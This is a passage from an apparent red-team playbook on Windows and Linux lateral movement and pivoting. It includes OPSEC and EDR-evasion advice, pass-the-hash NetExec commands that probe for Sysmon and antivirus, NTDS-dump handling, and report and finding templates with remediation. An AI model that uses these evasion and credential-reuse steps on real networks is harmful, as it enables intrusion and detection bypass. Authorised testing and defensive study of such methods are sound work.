| Chisel | LOW | HTTP POST to unusual external IP, user-agent | Set realistic user-agent, use domain-fronting |
| Ligolo-ng | LOW | TUN interface creation (detectable on EDR), TLS cert | Use legitimate cert, run as existing service |
| Scheduled Tasks | HIGH | Event 4698 (task created), 4702 (task updated) | Delete task immediately after use |
| DCOM | MEDIUM | Event 4688, DCOM activation, network logon | Less-detected than PSExec but still noisy |
| NFS mounting | LOW | NFS server logs, network traffic | Read-only mount leaves minimal logs |
| Sudo abuse | LOW | /var/log/auth.log (sudo lines), auditd | Clean /tmp, avoid writing to disk |

### General OPSEC Guidelines

```bash
# 1. Prefer pull-based execution over push (have target reach back to you)
# 2. Clean up artifacts after each technique
#    Windows: del C:\Windows\Temp\tools.exe
#    Linux: rm -f /tmp/chisel /tmp/ligolo-agent

# 3. Use existing service ports — Chisel on 443, not 8080
# 4. Limit simultaneous connections — one active pivot at a time
# 5. Avoid creating new domain/local accounts unless strictly required
# 6. Prefer existing credentials over creating new ones
# 7. Match normal business hours for movement activity
# 8. Use -nooutput with WMIExec where possible (reduces disk writes)

# Check if Sysmon is running before choosing technique
nxc smb "$TARGET_DC" -u "$TARGET_USER" -H "$TARGET_HASH" -x "sc query sysmon"
nxc smb "$TARGET_DC" -u "$TARGET_USER" -H "$TARGET_HASH" -x "sc query sysmon64"

# Check AV/EDR product
nxc smb "$TARGET_DC" -u "$TARGET_USER" -H "$TARGET_HASH" -x "wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName"

# If CrowdStrike/SentinelOne detected, avoid PSExec/service creation entirely
# Prefer WMIExec -nooutput or WinRM (Evil-WinRM) instead
```

---

## Integration with RTExit Autodoc Engine

### Logging Lateral Movement Events

```bash
# Log a lateral movement hop
rtx log lateral-movement \
  --from "WKSTN01 (192.168.1.50)" \
  --to "DC01 (192.168.1.10)" \
  --technique "WMIExec Pass-the-Hash" \
  --user "CORP\\DomainAdmin" \
  --timestamp "$(date -u +%Y-%m-%dT%H:%M:%SZ)" \
  --evidence "/tmp/wmiexec_output.txt"

# Log pivot establishment
rtx log pivot \
  --pivot-host "$PIVOT_HOST" \
  --method "Chisel SOCKS5" \
  --reachable-networks "192.168.2.0/24" \
  --notes "Pivot active on attacker port 1080"
```

### Creating Findings

```bash
# High-severity finding for pass-the-hash
rtx finding create \
  --title "NTLM Pass-the-Hash Enables Lateral Movement to Domain Controller" \
  --severity CRITICAL \
  --category "Lateral Movement" \
  --cve "" \
  --cvss 9.0 \
  --detail "Recovered NTLM hash for CORP\\DomainAdmin was successfully used via WMIExec to authenticate to DC01 without knowing the plaintext password. This demonstrates that credential hardening (credential guard, restricted admin mode) is not enforced." \
  --remediation "Enable Credential Guard. Enforce Protected Users security group for privileged accounts. Deploy LAPS to eliminate shared local admin passwords. Monitor Event ID 4624 type 3 logons from unusual sources." \
  --evidence "/tmp/cme_pwned.txt"

# Pivot network finding
rtx finding create \
  --title "Network Segmentation Bypass via DMZ Pivot Host" \
  --severity HIGH \
  --category "Network Pivoting" \
  --detail "The DMZ web server (10.10.10.5) was used as a Chisel pivot to access the internal 192.168.100.0/24 network, bypassing firewall controls. The internal segment contained database servers and file servers not intended to be reachable from untrusted zones." \
  --remediation "Implement host-based firewall on DMZ servers to restrict outbound connections. Monitor for unusual CONNECT/POST traffic to external IPs from DMZ hosts. Apply egress filtering at perimeter firewall."
```

### Generating Lateral Movement Report Section

```bash
# Auto-generate lateral movement section for final report
rtx report section \
  --section "lateral-movement" \
  --include-screenshots \
  --output "_rtexit-output/sections/lateral-movement.md"

# View current movement map
rtx map show --type lateral-movement
```

### Evidence Collection

```bash
# Collect and store evidence files
EVIDENCE_DIR="_rtexit-output/findings/lateral-movement/$(date +%Y%m%d)"
mkdir -p "$EVIDENCE_DIR"

# Copy relevant output files
cp /tmp/cme_results.txt "$EVIDENCE_DIR/"
cp /tmp/ntds_dump.txt "$EVIDENCE_DIR/"
cp /tmp/pivot_scan.txt "$EVIDENCE_DIR/"
cp /tmp/ssh_successes.txt "$EVIDENCE_DIR/"

# Screenshot (if GUI available)
# rtx screenshot --label "wmiexec-dc01-shell" --output "$EVIDENCE_DIR/"
```

---

## Output / Documentation

After completing lateral movement activities, the following artifacts should be captured:

| Artifact | Location | Description |
|----------|----------|-------------|
| CrackMapExec sweep results | `_rtexit-output/findings/lateral-movement/cme_sweep.txt` | Shows which hosts accepted credentials |
| WMIExec / PSExec shell output | `_rtexit-output/findings/lateral-movement/exec_sessions/` | Terminal transcripts per target |
| Credential dump (SAM/NTDS) | `_rtexit-output/findings/credentials/` | Hashes and secrets from compromised hosts |
| Network pivot diagram | `_rtexit-output/diagrams/pivot_map.drawio` | Visual of pivot chain |
| Lateral movement log | `_rtexit-output/logs/lateral-movement.jsonl` | Machine-readable movement timeline |
| Findings (per host) | `_rtexit-output/findings/lateral-movement/*.md` | Per-technique findings for report |

**Pivot path notation (for report):**

```
Attacker (VPN) → [Chisel:443] → DMZ-WEB01 (10.10.10.5) → [SOCKS5] → INT-DC01 (192.168.100.10)
```

---

## Resources

### Impacket
- GitHub: https://github.com/fortra/impacket
- Examples directory: `/opt/impacket/examples/`
- Key scripts: `psexec.py`, `wmiexec.py`, `smbexec.py`, `getTGT.py`, `secretsdump.py`, `atexec.py`

### Evil-WinRM
- GitHub: https://github.com/Hackplayers/evil-winrm
- Docs: https://github.com/Hackplayers/evil-winrm/wiki

### CrackMapExec / NetExec
- CME GitHub: https://github.com/byt3bl33d3r/CrackMapExec
- NetExec GitHub: https://github.com/Pennyw0rth/NetExec
- Wiki: https://www.netexec.wiki/

### Chisel
- GitHub: https://github.com/jpillora/chisel
- Releases (pre-built binaries): https://github.com/jpillora/chisel/releases

### Ligolo-ng
- GitHub: https://github.com/nicocha30/ligolo-ng
- Wiki: https://github.com/nicocha30/ligolo-ng/wiki

### Rubeus (Kerberos attacks)
- GitHub: https://github.com/GhostPack/Rubeus

### GTFOBins (Linux sudo/SUID abuse)
- https://gtfobins.github.io/

### LOLBAS (Windows LotL binaries)
- https://lolbas-project.github.io/

### References
- MITRE ATT&CK Lateral Movement: https://attack.mitre.org/tactics/TA0008/
- MITRE T1021 — Remote Services: https://attack.mitre.org/techniques/T1021/
- MITRE T1550 — Use Alternate Authentication Material: https://attack.mitre.org/techniques/T1550/
- HackTricks Lateral Movement: https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/lateral-movement
- The Hacker Recipes — AD lateral movement: https://www.thehacker.recipes/active-directory-domain-services/movement/lateral-movement
- PayloadsAllTheThings — Windows lateral movement: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md
